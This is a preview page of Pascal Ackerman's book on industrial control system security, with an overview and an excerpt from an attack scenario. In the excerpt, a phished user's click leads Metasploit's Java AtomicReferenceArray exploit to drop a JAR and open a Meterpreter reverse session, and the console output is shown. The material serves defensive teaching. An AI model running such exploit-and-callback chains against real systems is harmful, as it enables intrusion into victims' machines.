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Industrial Cybersecurity

By : Pascal Ackerman
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Industrial Cybersecurity

By: Pascal Ackerman

Overview of this book

With industries expanding, cyber attacks have increased significantly. Understanding your control system’s vulnerabilities and learning techniques to defend critical infrastructure systems from cyber threats is increasingly important. With the help of real-world use cases, this book will teach you the methodologies and security measures necessary to protect critical infrastructure systems and will get you up to speed with identifying unique challenges.Industrial cybersecurity begins by introducing Industrial Control System (ICS) technology, including ICS architectures, communication media, and protocols. This is followed by a presentation on ICS (in) security. After presenting an ICS-related attack scenario, securing of the ICS is discussed, including topics such as network segmentation, defense-in-depth strategies, and protective solutions. Along with practical examples for protecting industrial control systems, this book details security assessments, risk management, and security program development. It also covers essential cybersecurity aspects, such as threat detection and access management. Topics related to endpoint hardening such as monitoring, updating, and anti-malware implementations are also discussed.
Table of Contents (19 chapters)
Title Page
About the Author
About the Reviewers
Customer Feedback

What can the attacker do with their access?

After Mark clicks on the link in the email, we send him the following messages, which appear in the Metasploit handler screen on the Kali Linux VM:

msf exploit(java_atomicreferencearray) >
[*]     java_atomicreferencearray - Sending Java AtomicReferenceArray Type Violation Vulnerability
[*]     java_atomicreferencearray - Generated jar to drop (5122 bytes).
[*]     java_atomicreferencearray - Sending jar
[*]     java_atomicreferencearray - Sending jar
[*] Sending stage (49645 bytes) to
[*] Meterpreter session 2 opened ( -> at 2017-06-04 09:20:37 -0400

What is shown here is the establishment of a Meterpreter session between the attacker computer and the victim. Metasploit uploaded a custom Java application JAR file to Mark's computer and the Java application connected back to the Kali Linux machine to establish a Meterpreter command session...